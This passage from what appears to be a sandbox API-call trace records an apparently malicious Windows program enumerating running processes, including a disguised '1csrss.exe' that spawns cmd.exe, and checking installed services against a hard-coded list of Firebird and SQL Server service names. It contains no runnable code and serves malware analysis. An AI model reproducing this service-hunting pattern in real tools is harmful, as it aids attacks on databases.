th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0104.962] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0104.962] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0104.963] lstrlenW (lpString="powers mixture.exe") returned 18 [0104.963] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0104.963] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0104.963] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0104.998] lstrlenW (lpString="bachelor.exe") returned 12 [0104.998] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0104.999] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0104.999] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0105.000] lstrlenW (lpString="indication wage paying.exe") returned 26 [0105.000] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0105.001] lstrlenW (lpString="thee pub emission.exe") returned 21 [0105.001] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0105.002] lstrlenW (lpString="dllhost.exe") returned 11 [0105.002] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0105.003] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0105.003] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0105.004] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0105.004] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0105.005] lstrlenW (lpString="upgrading.exe") returned 13 [0105.005] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0105.006] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0105.006] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0105.007] lstrlenW (lpString="russell.exe") returned 11 [0105.007] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.008] lstrlenW (lpString="conhost.exe") returned 11 [0105.008] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.009] lstrlenW (lpString="conhost.exe") returned 11 [0105.009] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.010] lstrlenW (lpString="svchost.exe") returned 11 [0105.010] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0105.011] lstrlenW (lpString="1csrss.exe") returned 10 [0105.011] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0105.012] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0105.012] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.013] lstrlenW (lpString="conhost.exe") returned 11 [0105.013] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.014] lstrlenW (lpString="cmd.exe") returned 7 [0105.014] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.015] lstrlenW (lpString="conhost.exe") returned 11 [0105.015] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0105.015] CloseHandle (hObject=0x27c) returned 1 [0105.015] Sleep (dwMilliseconds=0x1f4) [0106.622] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ee980 [0106.623] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0106.623] GetLastError () returned 0xea [0106.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d48) returned 0x60fb70 [0106.623] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60fb70, cbBufSize=0x1d48, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60fb70, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0106.624] CloseServiceHandle (hSCObject=0x5ee980) returned 1 [0106.624] lstrlenW (lpString="Appinfo") returned 7 [0106.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0106.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0106.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0106.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0106.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0106.624] lstrlenW (lpString="AppXSvc") returned 7 [0106.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0106.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0106.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0106.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0106.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0106.625] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0106.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0106.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0106.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0106.625] lstrlenW (lpString="Audiosrv") returned 8 [0106.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0106.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0106.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0106.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0106.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0106.625] lstrlenW (lpString="BFE") returned 3 [0106.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0106.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0106.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0106.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0106.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0106.625] lstrlenW (lpString="BITS") returned 4 [0106.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0106.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0106.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0106.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0106.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0106.625] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0106.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.626] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0106.626] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0106.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0106.626] lstrlenW (lpString="CDPSvc") returned 6 [0106.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0106.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0106.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0106.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0106.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0106.626] lstrlenW (lpString="ClickToRunSvc") returned 13 [0106.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0106.626] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0106.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0106.626] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0106.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0106.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0106.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0106.626] lstrlenW (lpString="CryptSvc") returned 8 [0106.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0106.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0106.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0106.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0106.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0106.627] lstrlenW (lpString="DcomLaunch") returned 10 [0106.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0106.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0106.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0106.627] lstrlenW (lpString="DeviceAssociationService") returned 24 [0106.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0106.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0106.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0106.627] lstrlenW (lpString="Dhcp") returned 4 [0106.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0106.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0106.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0106.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0106.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0106.627] lstrlenW (lpString="Dnscache") returned 8 [0106.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0106.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0106.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0106.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0106.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0106.627] lstrlenW (lpString="DoSvc") returned 5 [0106.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0106.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0106.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0106.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0106.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0106.628] lstrlenW (lpString="DPS") returned 3 [0106.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0106.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0106.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0106.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0106.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0106.628] lstrlenW (lpString="DusmSvc") returned 7 [0106.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0106.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0106.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0106.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0106.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0106.628] lstrlenW (lpString="EventLog") returned 8 [0106.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0106.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0106.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0106.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0106.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0106.628] lstrlenW (lpString="EventSystem") returned 11 [0106.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0106.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0106.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0106.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0106.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0106.629] lstrlenW (lpString="FontCache") returned 9 [0106.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0106.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0106.631] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0106.631] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0106.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0106.632] lstrlenW (lpString="gpsvc") returned 5 [0106.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0106.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0106.632] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0106.632] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0106.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0106.632] lstrlenW (lpString="iphlpsvc") returned 8 [0106.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.632] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0106.632] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0106.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0106.632] lstrlenW (lpString="KeyIso") returned 6 [0106.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0106.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0106.632] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0106.632] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0106.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0106.632] lstrlenW (lpString="LanmanServer") returned 12 [0106.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0106.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0106.632] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0106.632] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0106.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0106.632] lstrlenW (lpString="LanmanWorkstation") returned 17 [0106.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.633] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0106.633] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0106.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0106.633] lstrlenW (lpString="lfsvc") returned 5 [0106.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0106.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0106.633] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0106.633] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0106.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0106.633] lstrlenW (lpString="lmhosts") returned 7 [0106.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0106.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0106.633] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0106.633] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0106.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0106.633] lstrlenW (lpString="LSM") returned 3 [0106.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0106.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0106.633] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0106.633] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0106.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0106.633] lstrlenW (lpString="MpsSvc") returned 6 [0106.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0106.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0106.633] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0106.633] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0106.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0106.633] lstrlenW (lpString="NcbService") returned 10 [0106.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0106.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0106.634] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0106.634] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0106.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0106.634] lstrlenW (lpString="netprofm") returned 8 [0106.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0106.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0106.634] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0106.634] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0106.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0106.634] lstrlenW (lpString="NgcSvc") returned 6 [0106.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0106.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0106.634] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0106.634] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0106.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0106.634] lstrlenW (lpString="NlaSvc") returned 6 [0106.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0106.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0106.634] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0106.634] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0106.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0106.634] lstrlenW (lpString="nsi") returned 3 [0106.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0106.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0106.634] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0106.635] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0106.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0106.635] lstrlenW (lpString="PcaSvc") returned 6 [0106.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0106.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0106.635] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0106.635] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0106.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0106.635] lstrlenW (lpString="PlugPlay") returned 8 [0106.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0106.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 